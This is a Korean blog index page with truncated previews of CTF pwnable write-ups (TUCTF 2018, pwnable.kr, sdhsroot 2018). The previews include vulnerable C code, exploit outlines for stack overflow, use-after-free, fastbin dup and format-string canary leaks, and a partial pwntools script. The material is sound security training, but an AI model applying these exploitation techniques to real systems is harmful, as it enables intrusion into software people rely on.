제리의 블로그

하임시큐리티 CTF에 pwnable 의 Warmup 을 풀이해본다. // warmup.c #include #include #include void init() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); } void vuln() { char buf[0x30]; memset(buf, 0, 0x30); write(1, "> ", 2); read(0, buf, 0xc0); // Stack Overflow!! } int main(void) { init(); vuln(); exit(0); } vuln 함수를 보면, buf 크기 0x30 만큼 할당한 후 0xc0 만큼 덮어쓰는 ..

보호되어 있는 글입니다.

pwnable.kr Toddler's Bottle coin1 - 6 pt Mommy, I wanna play a game! (if your network response time is too slow, try nc 0 9007 inside pwnable.kr server) Running at : nc pwnable.kr 9007 $ nc pwnable.kr 9007 --------------------------------------------------- - Shall we play a game? - --------------------------------------------------- You have given some gold coins in your hand however, there is ..

sdhsroot 2018 PWN R00T_SCHool 목차 1. 요약 2. 기초 분석 3. level1 (BOF) 4. level2 (UAF) 5. level3 (fastbin dup) 6. 익스 코드 요약3 단계로 이루어져 있는 pwnable 바이너리이고 libc.so.6 이 제공되었다. 1단계 - BOF (RET를 덮는게 아니라 지역 변수를 덮음) 2단계 - UAF (malloc size 0x40 으로 고정) 3단계 - fastbin dup (malloc size 지정할 수 있음) 기초 분석 $ sha256sum ./ROOTschool.zip ./R00T_SCHool ./libc.so.6 ab84d6961237d5c29938d42b0877f92ad6c0228cdd42b8fef0104ebfa9de09c..

TUCTF 2018 PWN Lisa 요약1-byte overflow(?) 문제이다. RET 를 1-byte 만 변조할 수 있다. strcmp(input, password); 를 만족하면 FLAG 가 주어지는 방식인데 input 은 사용자의 입력을 받는 부분이고 password(share) 는 우리가 알 수 없는 값이다. RET 를 main+0xD5 로 덮어주면 read 함수를 실행하기 바로 직전이 되는데 32 bit 바이너리의 cdecl 함수 호출 규약에 따라 스택 영역에 fd, buf, nbytes 를 공격자의 입맛대로 넣어주기만 하면 원하는 공간에 덮을 수 있다. password 의 주소는 바이너리에서 친절하게 주어졌기 때문에 password 를 덮어씌워 input 값과 똑같이만 만들면 된다. fro..

TUCTF 2018 PWN Timber 요약이번 문제에는 모든 함수에 canary 가 존재한다. 이름 입력하는 부분에서 포맷스트링버그(FSB)가 있다. 포맷스트링으로 canary 를 leak 할 수 있다. 알아낸 canary 로 덮고 RET 를 쉘을 주는 date() 라는 사용자 정의 함수로 덮어주면 된다. from pwn import * e = ELF('./timber') r = e.process() r.recvuntil(': ') # canary leak. FSB r.sendline('%20$p') r.recvuntil(' ') canary = int(r.recvline(), 16) log.success(hex(canary)) r.recvuntil('? ') r.sendline('s') # Super..

TUCTF 2018 PWN shella-hard 요약안티 디스어셈블링(?) 기법이 적용된 바이너리였다. 심볼 중에 giveShell 이라는 사용자 정의 함수가 있었다.BOF 를 통해서 RET 를 덮는 방식으로 giveShell 을 불러봤으나 쉘을 따지지 않았다.giveShell 을 자세히 보니 코드가 깨져있는것처럼 보였고살짝만 바꿔주면 execve("/bin/sh", 0, 0); 가 보인다.해당 주소로 리턴시켜주면 된다. .text:08048458 public giveShell .text:08048458 giveShell proc near .text:08048458 push ebp ; path .text:08048459 mov ebp, esp .text:0804845B nop .text:0804845B ..

TUCTF 2018 PWN Canary 요약이번 문제는 전역변수가 0 으로 초기화 된다는 점을 이용하여 canary 를 0 으로 맞추고 RET address 를 코드영역의 system("/bin/cat ./flag"); 로 돌리면 되는 문제이다. checkCanary() 함수를 보면 *(_DWORD *)(a1 + 40) 과 cans[*(_DWORD *)(a1 + 44)] 가 같은지 다른지에 따라 stack smash check 를 한다. a1 의 구역은 스택의 영역이고 cans 의 영역은 전역변수의 영역(.bss) 이다. 전역변수 cans[0] 에는 "/dev/urandom" 값이 저장되어 예측이 불가능하다. 그런데 cans 는 배열이므로 cans[1] 이상은 아직 0 으로 초기화되어있는 상태이다. 따라..

TUCTF 2018 PWN ehh Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled $ file ./ehh ./ehh: ELF 32-bit LSB pie executable Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d50965fb2cafc7eb26ecbce94385e870a05d02eb, not stripped $ ./ehh >Input interesting text here< 0x5664c028 ease ease..

TUCTF 2018 PWN shella-easy $ ./shella-easy Yeah I'll have a 0xff81fcb0 with a side of fries thanks 프로그램을 실행시켜보면 오프셋을 보여준다. int __cdecl main(int argc, const char **argv, const char **envp) { char s; // [sp+0h] [bp-48h]@1 unsigned int v5; // [sp+40h] [bp-8h]@1 setvbuf(stdout, 0, 2, 0x14u); setvbuf(stdin, 0, 2, 0x14u); v5 = 0xCAFEBABE; printf("Yeah I'll have a %p with a side of fries thanks\n", &s)..